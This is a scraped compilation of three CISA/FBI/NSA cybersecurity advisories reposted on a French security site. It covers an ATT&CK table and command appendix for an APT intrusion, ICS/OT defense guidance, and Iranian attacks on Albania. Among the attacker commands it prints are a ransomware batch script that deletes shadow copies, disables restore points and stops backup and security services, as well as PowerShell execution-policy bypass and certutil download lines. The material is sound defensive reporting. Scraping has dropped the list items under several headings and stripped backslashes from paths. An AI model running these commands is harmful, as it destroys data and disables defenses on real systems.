MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. CISA uses the ATT&CK Framework as a foundation for the development of specific threat models and methodologies. Table 1 lists the ATT&CK techniques employed by the APT actors.
Initial Access
Technique Title
ID
Use
Valid Accounts
T1078
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Execution
Technique Title
ID
Use
Windows Management Instrumentation
T1047
Actors used Impacket tools wmiexec.py and smbexec.py to leverage Windows Management Instrumentation and execute malicious commands.
Command and Scripting Interpreter
T1059
Actors abused command and script interpreters to execute commands.
Command and Scripting Interpreter: PowerShell
T1059.001
Actors abused PowerShell commands and scripts to map shared drives by specifying a path to one location and retrieving the items from another. See Appendix: Windows Command Shell Activity for additional information.
Command and Scripting Interpreter: Windows Command Shell
T1059.003
Actors abused the Windows Command Shell to learn about the organization’s environment and to collect sensitive data. See Appendix: Windows Command Shell Activity for additional information, including specific commands used.
The actors used Impacket tools, which enable a user with credentials to run commands on the remote device through the Command Shell.
Command and Scripting Interpreter: Python
T1059.006
The actors used two Impacket tools: wmiexec.py and smbexec.py.
Shared Modules
T1129
Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths.
System Services
T1569
Actors abused system services to execute commands or programs on the victim’s network.
Persistence
Technique Title
ID
Use
Valid Accounts
T1078
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.
Create or Modify System Process
T1543
Actors were observed creating or modifying system processes.
Privilege Escalation
Technique Title
ID
Use
Valid Accounts
T1078
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Defense Evasion
Technique Title
ID
Use
Masquerading: Match Legitimate Name or Location
T1036.005
Actors masqueraded the archive utility WinRAR.exe by renaming it VMware.exe to evade defenses and observation.
Indicator Removal on Host
T1070
Actors deleted or modified artifacts generated on a host system to remove evidence of their presence or hinder defenses.
Indicator Removal on Host: File Deletion
T1070.004
Actors used the del.exe command with the /f parameter to force the deletion of read-only files with the *.rar and tempg* wildcards.
Valid Accounts
T1078
Actors obtained and abused credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. In this case, they exploited an organization’s multifunctional device domain account used to access the organization’s Microsoft Exchange server via OWA.
Virtualization/Sandbox Evasion: System Checks
T1497.001
Actors used Windows command shell commands to detect and avoid virtualization and analysis environments. See Appendix: Windows Command Shell Activity for additional information.
Impair Defenses: Disable or Modify Tools
T1562.001
Actors used the taskkill command to probably disable security features. CISA was unable to determine which application was associated with the Process ID.
Hijack Execution Flow
T1574
Actors were observed using hijack execution flow.
Discovery
Technique Title
ID
Use
System Network Configuration Discovery
T1016
Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine.
The threat actor used route print to display the entries in the local IP routing table.
System Network Configuration Discovery: Internet Connection Discovery
T1016.001
Actors checked for internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways.
System Owner/User Discovery
T1033
Actors attempted to identify the primary user, currently logged in user, set of users that commonly use a system, or whether a user is actively using the system.
System Network Connections Discovery
T1049
Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP.
Process Discovery
T1057
Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine.
The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers.”
System Information Discovery
T1082
Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine.
File and Directory Discovery
T1083
Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system.
Virtualization/Sandbox Evasion: System Checks
T1497.001
Actors used Windows command shell commands to detect and avoid virtualization and analysis environments.
Lateral Movement
Technique Title
ID
Use
Remote Services: SMB/Windows Admin Shares
T1021.002
Actors used Valid Accounts to interact with a remote network share using Server Message Block (SMB) and then perform actions as the logged-on user.
Collection
Technique Title
ID
Use
Archive Collected Data: Archive via Utility
T1560.001
Actor used PowerShell commands and WinRAR to compress and/or encrypt collected data prior to exfiltration.
Data from Network Shared Drive
T1039
Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest.
The actors used dir.exe to display a list of a directory’s files and subdirectories matching a certain text string.
Data Staged: Remote Data Staging
T1074.002
The actors split collected files into approximately
3 MB chunks located on the Exchange server within the CU2hedebug directory.
Command and Control
Technique Title
ID
Use
Non-Application Layer Protocol
T1095
Actors used a non-application layer protocol for communication between host and Command and Control (C2) server or among infected hosts within a network.
Ingress Tool Transfer
T1105
Actors used the certutil command with three switches to test if they could download files from the internet.
The actors employed CovalentStealer to exfiltrate the files.
Proxy
T1090
Actors are known to use VPN and VPS providers, namely M247 and SurfShark, as part of their techniques to access a network remotely.
Exfiltration
Technique Title
ID
Use
Schedule Transfer
T1029
Actors scheduled data exfiltration to be performed only at certain times of day or at certain intervals and blend traffic patterns with normal activity.
Exfiltration Over Web Service: Exfiltration to Cloud Storage
T1567.002
The actor’s CovalentStealer tool stores collected files on a Microsoft OneDrive cloud folder.
DETECTION
Given the actors’ demonstrated capability to maintain persistent, long-term access in compromised enterprise environments, CISA, FBI, and NSA encourage organizations to:
CONTAINMENT AND REMEDIATION
Organizations affected by active or recently active threat actors in their environment can take the following initial steps to aid in eviction efforts and prevent re-entry:
Mitigations
Mitigation recommendations are usually longer-term efforts that take place before a compromise as part of risk management efforts, or after the threat actors have been evicted from the environment and the immediate response actions are complete. While some may be tailored to the TTPs used by the threat actor, recovery recommendations are largely general best practices and industry standards aimed at bolstering overall cybersecurity posture.
Segment Networks Based on Function
Manage Vulnerabilities and Configurations
Search for Anomalous Behavior
Restrict and Secure Use of Remote Admin Tools
Implement a Mandatory Access Control Model
Audit Account Usage
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, CISA, FBI, and NSA recommend exercising, testing, and validating your organization’s security program against threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA, FBI, and NSA recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
CISA, FBI, and NSA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
CISA offers several no-cost scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors. See cisa.gov/cyber-hygiene-services.
U.S. DIB sector organizations may consider signing up for the NSA Cybersecurity Collaboration Center’s DIB Cybersecurity Service Offerings, including Protective Domain Name System (PDNS) services, vulnerability scanning, and threat intelligence collaboration for eligible organizations. For more information on how to enroll in these services, email dib_defense@cyber.nsa.gov.
ACKNOWLEDGEMENTS
CISA, FBI, and NSA acknowledge Mandiant for its contributions to this CSA.
APPENDIX: WINDOWS COMMAND SHELL ACTIVITY
Over a three-day period in February 2021, APT cyber actors used Windows Command Shell to interact with the victim’s environment. When interacting with the victim’s system and executing commands, the threat actors used /q and /c parameters to turn the echo off, carry out the command specified by a string, and stop its execution once completed.
On the first day, the threat actors consecutively executed many commands within the Windows Command Shell to learn about the organization’s environment and to collect sensitive data for eventual exfiltration (see Table 2).
Command
Description / Use
net share
Used to create, configure, and delete network shares from the command-line.[1] The threat actor likely used this command to display information about shared resources on the local computer and decide which directories to exploit.
powershell dir
An alias (shorthand) for the PowerShell Get-ChildItem cmdlet. This command maps shared drives by specifying a path to one location and retrieving the items from another.[2] The threat actor added additional switches (aka options, parameters, or flags) to form a “one liner,” an expression to describe commonly used commands used in exploitation: powershell dir -recurse -path e:<redacted>|select fullname,length|export-csv c:windowstemptemp.txt. This particular command lists subdirectories of the target environment when.
systeminfo
Displays detailed configuration information [3], tasklist – lists currently running processes [4], and ipconfig – displays all current Transmission Control Protocol (TCP)/IP network configuration values and refreshes Dynamic Host Configuration Protocol (DHCP) and Domain Name System (DNS) settings, respectively [5]. The threat actor used these commands with specific switches to determine if the system was a VMware virtual machine: systeminfo > vmware & date /T, tasklist /v > vmware & date /T, and ipconfig /all >> vmware & date /.
route print
Used to display and modify the entries in the local IP routing table. [6] The threat actor used this command to display the entries in the local IP routing table.
netstat
Used to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics, and IPv6 statistics.[7] The threat actor used this command with three switches to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP: netstat -anp tcp.
certutil
Used to dump and display certification authority (CA) configuration information, configure Certificate Services, backup and restore CA components, and verify certificates, key pairs, and certificate chains.[8] The threat actor used this command with three switches to test if they could download files from the internet: certutil -urlcache -split -f https://microsoft.com temp.html.
ping
Sends Internet Control Message Protocol (ICMP) echoes to verify connectivity to another TCP/IP computer.[9] The threat actor used ping -n 2 apple.com to either test their internet connection or to detect and avoid virtualization and analysis environments or network restrictions.
taskkill
Used to end tasks or processes.[10] The threat actor used taskkill /F /PID 8952 to probably disable security features. CISA was unable to determine what this process was as the process identifier (PID) numbers are dynamic.
PowerShell Compress-Archive cmdlet
Used to create a compressed archive or to zip files from specified files and directories.[11] The threat actor used parameters indicating shared drives as file and folder sources and the destination archive as zipped files. Specifically, they collected sensitive contract-related information from the shared drives.
On the second day, the APT cyber actors executed the commands in Table 3 to perform discovery as well as collect and archive data.
Command
Description / Use
ntfsinfo.exe
Used to obtain volume information from the New Technology File System (NTFS) and to print it along with a directory dump of NTFS meta-data files.[12]
WinRAR.exe
Used to compress files and subsequently masqueraded WinRAR.exe by renaming it VMware.exe.[13]
On the third day, the APT cyber actors returned to the organization’s network and executed the commands in Table 4.
Command
Description / Use
powershell -ep bypass import-module .vmware.ps1;export-mft -volume e
Threat actors ran a PowerShell command with parameters to change the execution mode and bypass the Execution Policy to run the script from PowerShell and add a module to the current section: powershell -ep bypass import-module .vmware.ps1;export-mft -volume e. This module appears to acquire and export the Master File Table (MFT) for volume E for further analysis by the cyber actor.[14]
set.exe
Used to display the current environment variable settings.[15] (An environment variable is a dynamic value pointing to system or user environments (folders) of the system. System environment variables are defined by the system and used globally by all users, while user environment variables are only used by the user who declared that variable and they override the system environment variables (even if the variables are named the same).
dir.exe
Used to display a list of a directory’s files and subdirectories matching the eagx* text string, likely to confirm the existence of such file.
tasklist.exe and find.exe
Used to display a list of applications and services with their PIDs for all tasks running on the computer matching the string “powers”.[16][17][18]
ping.exe
Used to send two ICMP echos to amazon.com. This could have been to detect or avoid virtualization and analysis environments, circumvent network restrictions, or test their internet connection.[19]
del.exe with the /f parameter
Used to force the deletion of read-only files with the *.rar and tempg* wildcards.[20]
References
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
Source de l’article sur us-cert.gov
AA22-265A: Control System Defense: Know the Opponent
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: September 22, 2022
Summary
Traditional approaches to securing OT/ICS do not adequately address current threats.
Operational technology/industrial control system (OT/ICS) assets that operate, control, and monitor day-to-day critical infrastructure and industrial processes continue to be an attractive target for malicious cyber actors. These cyber actors, including advanced persistent threat (APT) groups, target OT/ICS assets to achieve political gains, economic advantages, or destructive effects. Because OT/ICS systems manage physical operational processes, cyber actors’ operations could result in physical consequences, including loss of life, property damage, and disruption of National Critical Functions.
OT/ICS devices and designs are publicly available, often incorporate vulnerable information technology (IT) components, and include external connections and remote access that increase their attack surfaces. In addition, a multitude of tools are readily available to exploit IT and OT systems. As a result of these factors, malicious cyber actors present an increasing risk to ICS networks.
Traditional approaches to securing OT/ICS do not adequately address current threats to those systems. However, owners and operators who understand cyber actors’ tactics, techniques, and procedures (TTPs) can use that knowledge when prioritizing hardening actions for OT/ICS.
This joint Cybersecurity Advisory, which builds on previous NSA and CISA guidance to stop malicious ICS activity and reduce OT exposure [1] [2], describes TTPs that malicious actors use to compromise OT/ICS assets. It also recommends mitigations that owners and operators can use to defend their systems. NSA and CISA encourage OT/ICS owners and operators to apply the recommendations in this CSA.
Download the PDF version of this report: pdf, 538.12 kb
Technical Details
OT/ICS assets operate, control, and monitor industrial processes throughout U.S. critical infrastructure. Traditional ICS assets are difficult to secure due to their design for maximum availability and safety, coupled with their use of decades-old systems that often lack any recent security updates. Newer ICS assets may be able to be configured more securely, but often have an increased attack surface due to incorporating Internet or IT network connectivity to facilitate remote control and operations. The net effect of the convergence of IT and OT platforms has increased the risk of cyber exploitation of control systems. [3]
Today’s cyber realm is filled with well-funded malicious cyber actors financed by nation-states, as well as less sophisticated groups, independent hackers, and insider threats. Control systems have been targeted by a variety of these malicious cyber actors in recent years to achieve political gains, economic advantages, and possibly destructive effects. [4] [5] [6] [7] [8] More recently, APT actors have also developed tools for scanning, compromising, and controlling targeted OT devices. [9]
Malicious actors’ game plan for control system intrusions
Cyber actors typically follow these steps to plan and execute compromises against critical infrastructure control systems:
Leveraging specific expertise and network knowledge, malicious actors such as nation-state actors can conduct these steps in a coordinated manner, sometimes concurrently and repeatedly, as illustrated by real world cyber activity. [5] [10]
Establish intended effect and select a target
Cyber actors, from cyber criminals to state-sponsored APT actors, target critical infrastructure to achieve a variety of objectives. Cyber criminals are financially motivated and target OT/ICS assets for financial gain (e.g., data extortion or ransomware operations). State-sponsored APT actors target critical infrastructure for political and/or military objectives, such as destabilizing political or economic landscapes or causing psychological or social impacts on a population. The cyber actor selects the target and the intended effect—to disrupt, disable, deny, deceive, and/or destroy—based on these objectives. For example, disabling power grids in strategic locations could destabilize economic landscapes or support broader military campaigns. Disrupting water treatment facilities or threatening to destroy a dam could have psychological or social impacts on a population. [11] [12]
Collect intelligence about the target system
Once the intent and target are established, the actor collects intelligence on the targeted control system. The actor may collect data from multiple sources, including:
In addition to OT-specific intelligence, information about IT technologies used in control systems is widely available. Knowledge that was once limited to control system engineers and OT operators has become easily available as IT technologies move into more of the control system environment. Control system vendors, in conjunction with the owner/operator community, have continually optimized and reduced the cost of engineering, operating, and maintaining control systems by incorporating more commodity IT components and technologies in some parts of OT environments. These advancements sometimes can make information about some systems easily available, thereby increasing the risk of cyber exploitation.
Develop techniques and tools
Using the intelligence collected about the control system’s design, a cyber actor may procure systems that are similar to the target and configure them as mock-up versions for practice purposes. Nation-state actors can easily obtain most control system equipment. Groups with limited means can still often acquire control systems through willing vendors and secondhand resellers.
Access to a mock-up of the target system enables an actor to determine the most effective tools and techniques. A cyber actor can leverage resident system utilities, available exploitation tools; or, if necessary, develop or purchase custom tools to affect the control system. Utilities that are already on the system can be used to reconfigure settings and may have powerful troubleshooting capabilities.
As the control system community has incorporated commodity IT and modernized OT, the community has simplified the tools, techniques, scripts, and software packages used in control systems. As a result, a multitude of convenient tools are readily available to exploit IT and OT systems.
Actors may also develop custom ICS-focused malware based on their knowledge of the control systems. For example, TRITON malware was designed to target certain versions of Triconex Tricon programmable logic controllers (PLCs) by modifying in-memory firmware to add additional programming. The extra functionality allows an actor to read/modify memory contents and execute custom code, disabling the safety system. [13] APT actors have also developed tools to scan for, compromise, and control certain Schneider Electric PLCs, OMRON Sysmac NEX PLCs, and Open Platform Communications Unified Architecture (OPC UA) servers. [9]
With TTPs in place, a cyber actor is prepared to do virtually anything that a normal system operator can, and potentially much more.
Gain initial access to the system
To leverage the techniques and tools that they developed and practiced, cyber actors must first gain access to the targeted system.
Most modern control systems maintain remote access capabilities allowing vendors, integrators, service providers, owners, and operators access to the system. Remote access enables these parties to perform remote monitoring services, diagnose problems remotely, and verify warranty agreements.
However, these access points often have poor security practices, such as using default and maintenance passwords. Malicious cyber actors can leverage these access points as vectors to covertly gain access to the system, exfiltrate data, and launch other cyber activities before an operator realizes there is a problem. Malicious actors can use web-based search platforms, such as Shodan, to identify these exposed access points.
Vendor access to control systems typically use connections that create a bridge between control system networks and external environments. Often unknown to the owner/operator, this bridge provides yet another path for cyber exploitation and allows cyber actors to take advantage of vulnerabilities in other infrastructure to gain access to the control system.
Remote access points and methodologies use a variety of access and communication protocols. Many are nothing more than vendor-provided dial-up modems and network switches protected only by obscurity and passwords. Some are dedicated devices and services that communicate via more secure virtual private networks (VPNs) and encryption. Few, if any, offer robust cybersecurity capabilities to protect the control system access points or prevent the transmission of acquired data outside the relatively secure environment of the isolated control system. This access to an ostensibly closed control system can be used to exploit the network and components.
Execute techniques and tools to create the intended effects
Once an actor gains initial access to targeted OT/ICS system, the actor will execute techniques, tools, and malware to achieve the intended effects on the target system. To disrupt, disable, deny, deceive, and/or destroy the system, the malicious actor often performs, in any order or in combination, the following activities:
Using these techniques, cyber actors could cause various physical consequences. They could open or close breakers, throttle valves, overfill tanks, set turbines to over-speed, or place plants in unsafe operating conditions. Additionally, cyber actors could manipulate the control environment, obscuring operator awareness and obstructing recovery, by locking interfaces and setting monitors to show normal conditions. Actors can even suspend alarm functionality, allowing the system to operate under unsafe conditions without alerting the operator. Even when physical safety systems should prevent catastrophic physical consequences, more limited effects are possible and could be sufficient to meet the actor’s intent. In some scenarios though, if an actor simultaneously manipulates multiple parts of the system, the physical safety systems may not be enough. Impacts to the system could be temporary or permanent, potentially even including physical destruction of equipment.
Mitigations
The complexity of balancing network security with performance, features, ease-of-use, and availability can be overwhelming for owner/operators. This is especially true where system tools and scripts enable ease-of-use and increase availability or functionality of the control network; and when equipment vendors require remote access for warranty compliance, service obligations, and financial/billing functionality. However, with the increase in targeting of OT/ICS by malicious actors, owner/operators should be more cognizant of the risks when making these balancing decisions. Owner/operators should also carefully consider what information about their systems needs to be publicly available and determine if each external connection is truly needed. [1]
System owners and operators cannot prevent a malicious actor from targeting their systems. Understanding that being targeted is not an “if” but a “when” is essential context for making ICS security decisions. By assuming that the system is being targeted and predicting the effects that a malicious actor would intend to cause, owner/operators can employ and prioritize mitigation actions.
However, the variety of available security solutions can also be intimidating, resulting in choice paralysis. In the midst of so many options, owner/operators may be unable to incorporate simple security and administrative strategies that could mitigate many of the common and realistic threats. Fortunately, owner/operators can apply a few straightforward ICS security best practices to counter adversary TTPs.
Limit exposure of system information
Operational and system information and configuration data is a key element of critical infrastructure operations. The importance of keeping such data confidential cannot be overstated. To the extent possible, avoid disclosing information about system hardware, firmware, and software in any public forum. Incorporate information protection education into training for personnel. Limit information that is sent out from the system.
Document the answers to the following questions:
Eliminate all other data destinations. Share only the data necessary to comply with applicable legal requirements, such as those contractually required by vendors—nothing more. Do not allow other uses of the data and other accesses to the system without strict administrative policies designed specifically to protect the data. Prevent new connections to the control system using strict administrative accountability. Ensure strict agreements are in place with outside systems/vendors when it comes to sharing, access, and use. Have strong policies for the destruction of such data. Audit policies and procedures to verify compliance and secure data once it gets to its destination, and determine who actually has access to it.
Identify and secure remote access points
Owner/operators must maintain detailed knowledge of all installed systems, including which remote access points are—or could be—operating in the control system network. Creating a full “connectivity inventory” is a critical step in securing access to the system.
Many vendor-provided devices maintain these access capabilities as an auxiliary function and may have services that will automatically ‘phone home’ in an attempt to register and update software or firmware. A vendor may also have multiple access points to cover different tasks.
Once owner/operators have identified all remote access points on their systems, they can implement the following recommendations to improve their security posture:
Restrict tools and scripts
Limit access to network and control system application tools and scripts to legitimate users performing legitimate tasks on the control system. Removing the tools and scripts entirely and patching embedded control system components for exploitable vulnerabilities is often not feasible. Thus, carefully apply access and use limitations to particularly vulnerable processes and components to limit the threat.
The control system and any accompanying vendor access points may have been delivered with engineering, configuration, and diagnostic tools pre-installed. Engineers use these tools to configure and modify the system and its processes as needed. However, such tools can also be used by a malicious actor to manipulate the system, without needing any special additional tools. Using the system against itself is a powerful cyber exploitation technique. Mitigations strategies include:
Conduct regular security audits
The owner/operator of the control system should consider performing an independent security audit of the system, especially of third-party vendor access points and systems. The owner/operator cannot solely depend on the views, options, and guidance of the vendor/integrator that designed, developed, or sold the system. The goal of such an audit is to identify and document system vulnerabilities, practices, and procedures that should be eliminated to improve the cyber defensive posture, and ultimately prevent malicious cyber actors from being able to cause their intended effects. Steps to consider during an audit include the following:
Implement a dynamic network environment
Static network environments provide malicious actors with persistent knowledge of the system. A static network can provide cyber actors the opportunity to collect bits of intelligence about the system over time, establish long-term accesses into the system, and develop the tools and TTPs to affect the control system as intended.
While it may be unrealistic for the administrators of many OT/ICS environments to make regular non-critical changes, owner/operators should consider periodically making manageable network changes. A little change can go a long way to disrupt previously obtained access by a malicious actor. Consider the following:
Planning these changes with significant forethought can help minimize the impact on network operation.
Owner/operators should familiarize themselves with the risks to the system as outlined by the product vendor. These may be described in manuals as the system using insecure protocols for interoperability or certain configurations that may expose the system in additional ways. Changes to the system to reduce these risks should be considered and implemented when feasible.
Conclusion
The combination of integrated, simplified tools and remote accesses creates an environment ripe for malicious actors to target control systems networks. New IT-enabled accesses provide cyber actors with a larger attack surface into cyber-physical environments. It is vital for OT/ICS defenders to anticipate the TTPs of cyber actors combining IT expertise with engineering know-how. Defenders can employ the mitigations listed in this advisory to limit unauthorized access, lock down tools and data flows, and deny malicious actors from achieving their desired effects.
Disclaimer of endorsement
The information and opinions contained in this document are provided “as is” and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Purpose
This advisory was developed by NSA and CISA in furtherance of their cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact Information
For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov. To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov.
Media Inquiries / Press Desk:
References
Revisions
This product is provided subject to this Notification and this Privacy & Use policy.
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AA22-264A: Iranian State Actors Conduct Cyber Operations Against the Government of Albania
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationOriginal release date: September 21, 2022 | Last revised: September 23, 2022
Summary
The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory to provide information on recent cyber operations against the Government of Albania in July and September. This advisory provides a timeline of activity observed, from initial access to execution of encryption and wiper attacks. Additional information concerning files used by the actors during their exploitation of and cyber attack against the victim organization is provided in Appendices A and B.
In July 2022, Iranian state cyber actors—identifying as “HomeLand Justice”—launched a destructive cyber attack against the Government of Albania which rendered websites and services unavailable. A FBI investigation indicates Iranian state cyber actors acquired initial access to the victim’s network approximately 14 months before launching the destructive cyber attack, which included a ransomware-style file encryptor and disk wiping malware. The actors maintained continuous network access for approximately a year, periodically accessing and exfiltrating e-mail content.
Between May and June 2022, Iranian state cyber actors conducted lateral movements, network reconnaissance, and credential harvesting from Albanian government networks. In July 2022, the actors launched ransomware on the networks, leaving an anti-Mujahideen E-Khalq (MEK) message on desktops. When network defenders identified and began to respond to the ransomware activity, the cyber actors deployed a version of ZeroCleare destructive malware.
In June 2022, HomeLand Justice created a website and multiple social media profiles posting anti-MEK messages. On July 18, 2022, HomeLand Justice claimed credit for the cyber attack on Albanian government infrastructure. On July 23, 2022, Homeland Justice posted videos of the cyber attack on their website. From late July to mid-August 2022, social media accounts associated with HomeLand Justice demonstrated a repeated pattern of advertising Albanian Government information for release, posting a poll asking respondents to select the government information to be released by HomeLand Justice, and then releasing that information—either in a .zip file or a video of a screen recording with the documents shown.
In September 2022, Iranian cyber actors launched another wave of cyber attacks against the Government of Albania, using similar TTPs and malware as the cyber attacks in July. These were likely done in retaliation for public attribution of the cyber attacks in July and severed diplomatic ties between Albania and Iran.
Download the PDF version of this report: pdf, 1221 kb
Download the STIX file: pdf, 44 KB
Technical Details
Initial access
Timeframe: Approximately 14 months before encryption and wiper attacks.
Details: Initial access was obtained via exploitation of an Internet-facing Microsoft SharePoint, exploiting CVE-2019-0604.
Persistence and Lateral movement
Timeframe: Approximately several days to two months after initial compromise.
Details: After obtaining access to the victim environment, the actors used several .aspx webshells,
pickers.aspx
,error4.aspx
, andClientBin.aspx
, to maintain persistence. During this timeframe, the actors also used RDP (primarily), SMB, and FTP for lateral movement throughout the victim environment.Exchange Server compromise
Timeframe: Approximately 1-6 months after initial compromise.
Details: The actors used a compromised Microsoft Exchange account to run searches (via CmdLets New-MailboxSearch and Get-Recipient) on various mailboxes, including for administrator accounts. In this timeframe, the actors used the compromised account to create a new Exchange account and add it to the Organization Management role group.
Likely Email exfiltration
Timeframe: Approximately 8 months after initial compromise.
Details: The actors made thousands of HTTP POST requests to Exchange servers of the victim organization. The FBI observed the client transferring roughly 70-160 MB of data, and the server transferring roughly 3-20 GB of data.
VPN activity
Timeframe: Approximately 12-14 months after initial compromise.
Details: Approximately twelve months after initial access and two months before launching the destructive cyber attack, the actors made connections to IP addresses belonging to the victim organization’s Virtual Private Network (VPN) appliance. The actors’ activity primarily involved two compromised accounts. The actors executed the “Advanced Port Scanner” (advanced_port_scanner.exe). The FBI also found evidence of Mimikatz usage and LSASS dumping.
File Cryptor (ransomware-style file encryptor)
Timeframe: Approximately 14 months after initial compromise.
Details: For the encryption component of the cyber attack, the actor logged in to a victim organization print server via RDP and kicked off a process (Mellona.exe) which would propagate the GoXml.exe encryptor to a list of internal machines, along with a persistence script called win.bat. As deployed, GoXML.exe encrypted all files (except those having extensions .exe, .dll, .sys, .lnk, or .lck) on the target system, leaving behind a ransom note titled How_To_Unlock_MyFiles.txt in each folder impacted.
Wiper attack
Timeframe: Approximately 14 months after initial compromise.
Details: In the same timeframe as the encryption attack, the actors began actions that resulted in raw disk drives being wiped with the Disk Wiper tool (cl.exe) described in Appendix A. Approximately over the next eight hours, numerous RDP connections were logged from an identified victim server to other hosts on the victim’s network. Command line execution of cl.exe was observed in cached bitmap files from these RDP sessions on the victim server.
Mitigations
FBI and CISA recommend organizations apply the following best practices to reduce risk of compromise:
For more information on Iranian government-sponsored malicious cyber activity, see CISA’s webpage – Iran Cyber Threat Overview and Advisories.
Appendix A
Host-based IOCs
File
MD5 Hash
Notes
Error4.aspx
81e123351eb80e605ad73268a5653ff3
Webshell
cl.exe
7b71764236f244ae971742ee1bc6b098
Wiper
GoXML.exe
bbe983dba3bf319621b447618548b740
Encryptor
Goxml.jpg
0738242a521bdfe1f3ecc173f1726aa1
ClientBin.aspx
a9fa6cfdba41c57d8094545e9b56db36
Webshell (reverse-proxy connections)
Pickers.aspx
8f766dea3afd410ebcd5df5994a3c571
Webshell
evaluatesiteupgrade.cs.aspx
Unknown
Webshell
mellona.exe
78562ba0069d4235f28efd01e3f32a82
Propagation for Encryptor
win.bat
1635e1acd72809479e21b0ac5497a79b
Launches GoXml.exe on startup
win.bat
18e01dee14167c1cf8a58b6a648ee049
Changes desktop background to encryption image
bb.bat
59a85e8ec23ef5b5c215cd5c8e5bc2ab
Saves SAM and SYSTEM hives to C:Temp, makes cab archive
disable_defender.exe
60afb1e62ac61424a542b8c7b4d2cf01
Disables Windows Defender
rwdsk.sys
8f6e7653807ebb57ecc549cef991d505
Raw disk driver utilized by wiper malware
App_Web_bckwssht.dll
e9b6ecbf0783fa9d6981bba76d949c94
Network-based IOCs
FBI review of Commercial VPN service IP addresses revealed the following resolutions (per Akamai data):
Country
Company
AL
KEMINET LTD.
DE
NOOP-84-247-59-0-25
DE
GSL NETWORKS
GB
LON-CLIENTS
GB
GB-DATACENTER
NL
NL-LAYERSWITCH-20190220
NL
PANQ-45-86-200-0
US
PRIVATE CUSTOMER
US
BANDITO NETWORKS
US
EXTERNAL
US
RU-SELENA-20080725
US
TRANS OCEAN NETWORK
Appendix B
Ransomware Cryptor
GoXML.exe
is a ransomware style file encryptor. It is a Windows executable, digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC, a subsidiary of Saudi Telecommunications Company (STC).If executed with five or more arguments (the arguments can be anything, as long as there are five or more), the program silently engages its file encryption functionality. Otherwise, a file-open dialog Window is presented, and any opened documents receive an error prompt labeled,
Xml Form Builder.
All internal strings are encrypted with a hard coded RC4 key. Before internal data is decrypted, the string decryption routine has a built-in self-test that decrypts a DWORD value and tests to see if the plaintext is the string
yes
. If so, it will continue to decode its internal strings.The ransomware will attempt to launch the following batch script; however, this will fail due to a syntax error.
@for /F “skip=1” %C in (‘wmic LogicalDisk get DeviceID’) do (@wmic /namespace:\rootdefault Path SystemRestore Call disable “%C” & @rd /s /q %C$Recycle.bin)
@vssadmin.exe delete shadows /all /quiet
@set SrvLst=vss sql svc$ memtas mepos sophos veeam backup GxVss GxBlr GxFWD GxCVD GxCIMgr DefWatch ccEvtMgr ccSetMgr SavRoam RTVscan QBFCService QBIDPService ntuit.QuickBooks.FCS QBCFMonitorService YooBackup YooIT zhudongfangyu sophos stc_raw_agent VSNAPVSS VeeamTransportSvc VeeamDeploymentService VeeamNFSSvc veeam PDVFSService BackupExecVSSProvider BackupExecAgentAccelerator BackupExecAgentBrowser BackupExecDiveciMediaService BackupExecJobEngine BackupExecManagementService BackupExecRPCService AcrSch2Svc AcronisAgent CASAD2DWebSvc CAARCUpdateSvc
@for %C in (%SrvLst%) do @net stop %C
@set SrvLst=
@set PrcLst=mysql sql oracle ocssd dbsnmp synctime agntsvc isqlplussvc xfssvccon mydesktopservice ocautoupds encsvc tbirdconfig mydesktopqos ocomm dbeng50 sqbcoreservice excel infopath msaccess mspub onenote outlook powerpnt steam thebat thunderbird visio winword wordpad notepad
@for %C in (%PrcLst%) do @taskkill /f /im “%C.exe”
@set PrcLst=
@exit
The syntax error consists of a missing backslash that separates
system32
andcmd.exe
, so the process is launched assystem32cmd.exe
